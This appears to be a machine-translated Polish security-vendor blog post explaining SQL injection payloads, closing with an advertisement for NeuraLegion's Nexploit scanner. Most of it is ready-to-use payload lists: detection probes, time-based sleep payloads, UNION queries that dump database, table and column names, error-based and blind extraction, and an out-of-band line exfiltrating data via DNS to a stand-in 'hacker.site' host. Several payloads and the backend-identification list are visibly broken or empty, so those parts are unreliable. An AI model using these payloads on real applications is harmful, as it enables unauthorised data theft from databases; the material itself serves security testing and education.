Ładunki SQL Injection: jak działają exploity SQLi
co to jest ładunek SQL Injection?
SQL Injection reprezentuje lukę w zabezpieczeniach sieciowych, która umożliwia atakującym przeglądanie danych, których nie powinni być w stanie uzyskać, umożliwiając atakującemu zakłócanie zapytań aplikacji do bazy danych poprzez wstrzykiwanie złośliwych ładunków SQL injection.
dowiedz się więcej o atakach SQL Injection w tym poście na blogu – czym są zastrzyki SQL i jak można im zapobiec
w tym poście na blogu omówimy, jak zweryfikować, czy witryna jest podatna na ataki SQLi i różne ładunki SQL injection używane do wykorzystywania różnych typów luk w zabezpieczeniach SQL injection.
w tym artykule:
Potwierdzanie SQLi: Wykrywanie punktu wejścia
aby określić, czy aplikacje są podatne na działanie SQLi i czy można użyć kolejnych obciążeń, należy najpierw móc wprowadzić dane do zapytania bez ich łamania. Pierwszym krokiem jest dowiedzieć się, jak uciec od obecnego kontekstu.
wypróbuj jeden z tych przydatnych przykładów:
'
"
`
')
")
`)
'))
"))
`))
aby naprawić zapytanie, możesz wprowadzić dane, aby poprzednie zapytanie zaakceptowało nowe dane, lub możesz wprowadzić dane i dodać symbol komentarza na końcu.
ta faza będzie łatwiejsza, jeśli zobaczysz komunikaty o błędach lub możesz określić, czy /kiedy zapytanie działa, czy nie.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Potwierdzanie SQLi za pomocą operacji logicznych
można potwierdzić lukę w SQL injection, wykonując operację logiczną. Jeśli otrzymasz oczekiwany wynik, potwierdziłeś SQLi.
oto jak to wygląda w praktyce:
Jeśli parametr GET ?username=John
zwraca tę samą zawartość co ?username=John'
lub '1'='1
, to znalazłeś lukę w SQL injection.
ta koncepcja sprawdza się również w operacjach matematycznych:
jeśli ?id=1
zwraca to samo co ?id=2-1
, wykryto lukę SQL injection.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Potwierdzanie SQL injection z Timing
w niektórych przypadkach podczas próby potwierdzenia SQLi nie będzie zauważalnej zmiany na stronie, którą testujesz. Oznacza to ślepy SQL, który można zidentyfikować, zmuszając bazę danych do wykonywania działań, które będą miały wpływ na czas ładowania strony.
dodamy do zapytania SQL operację, która zajmie więcej czasu, na przykład wykonując następujące czynności:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
funkcje uśpienia nie zawsze są dozwolone, więc wykonaj zapytanie wykonaj złożone operacje, które zamiast tego potrwają kilka sekund.
Identyfikacja zaplecza
różne zaplecza mają różne funkcje, które można zidentyfikować wykonując te funkcje. Przykładami tych funkcji są:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union Based SQL Injection Payloads
wykrywanie liczby kolumn
oba zapytania (Oryginalne i zmienione) muszą zwracać tę samą liczbę kolumn. Ale skąd wiemy, ile kolumn zwraca początkowe żądanie? Zwykle używamy jednej z dwóch następujących metod, aby uzyskać liczbę kolumn:
Order/Group by
chociaż GROUP BY
i ORDER BY
mają różne funkcje w SQL, oba mogą być użyte do określenia liczby kolumn w zapytaniu. Zwiększaj liczbę, aż otrzymasz fałszywą odpowiedź:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
w przypadku UNION SELECT Wstaw rosnącą liczbę wartości null, aż zapytanie będzie poprawne:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
dlaczego używane są wartości null? Istnieją przypadki, w których Typ kolumn po obu stronach zapytania musi być taki sam. Null jest ważny w każdym przypadku.
Wyodrębnij nazwy baz danych, tabele i nazwy kolumn
w poniższych przykładach odzyskamy nazwy wszystkich baz danych, nazwy tabel z bazy danych i nazwy kolumn tabeli:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
metoda używana do wykrywania tych danych będzie się różnić od samej bazy danych, ale zawsze jest to ta sama metodologia.
ładunki SQL Injection oparte na błędach
jeśli wynik zapytania nie jest widoczny, ale możesz zobaczyć komunikaty o błędach, możesz sprawić, że te komunikaty o błędach będą działać, aby usunąć dane z bazy danych.
podobnie jak w przykładzie eksploatacji opartej na Unii, można wywalić bazę danych:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injection Payloads
w przypadku Blind SQL injection nie można zobaczyć wyników zapytania ani błędów, ale można rozróżnić, kiedy zapytanie zwróciło prawdziwą lub fałszywą odpowiedź na podstawie różnych treści na stronie.
możesz nadużywać tego zachowania, aby zrzucić znak bazy danych po znaku:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
błąd Blind SQL Injection Payloads
jak sama nazwa wskazuje, jest to bardzo podobne do Blind SQL injection, ale tym razem nie musisz rozróżniać odpowiedzi true lub false. Sprawdzasz, czy w zapytaniu SQL występuje błąd, czy nie, wymuszając błąd SQL za każdym razem, gdy poprawnie odgadniesz znak:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
obciążenia SQL Injection oparte na czasie
możesz użyć tej techniki przede wszystkim, gdy masz zamiar wykorzystać ślepe luki, w których używasz drugiego zapytania do wywołania wyszukiwania DNS, błędu warunkowego lub opóźnienia czasowego.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Stacked queries może być używany do wykonywania wielu zapytań po kolei. Podczas wykonywania kolejnych zapytań wyniki nie są zwracane do aplikacji. Tej techniki można użyć w przypadku ślepych luk w zabezpieczeniach, w których drugie zapytanie uruchamia wyszukiwanie DNS, błąd warunkowy lub opóźnienie czasowe.
podczas gdy Oracle i MySQL nie obsługują Stacked queries, Microsoft i PostgreSQL obsługują je: QUERY-1-HERE; QUERY-2-HERE
Out of band SQLi Payloads
jeśli żadna z wyżej wymienionych metod eksploatacji nie działała dla ciebie, możesz spróbować sprawić, aby baza danych exfiltrowała dane do kontrolowanego przez Ciebie zewnętrznego hosta. Na przykład możesz użyć zapytań DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
wykrywaj SQL Injection za pomocą Nexploit
Neuralegion ’ s nexploit automatyzuje wykrywanie i usuwanie setek luk w zabezpieczeniach, w tym SQL injection.
dzięki integracji skanów DAST na wczesnym etapie procesu programowania Programiści i eksperci ds. bezpieczeństwa aplikacji mogą wcześnie wykryć luki w zabezpieczeniach i naprawić je, zanim pojawią się w produkcji.
z Nexploit skanowanie odbywa się w ciągu kilku minut, a wyniki pochodzą z zero fałszywych alarmów. Pozwala to programistom na przyjęcie rozwiązania i korzystanie z niego w całym cyklu życia oprogramowania.
Skanuj dowolną aplikację internetową lub API, aby zapobiec lukom w zabezpieczeniach SQL injection-wypróbuj NeuraLegion nexploit za darmo.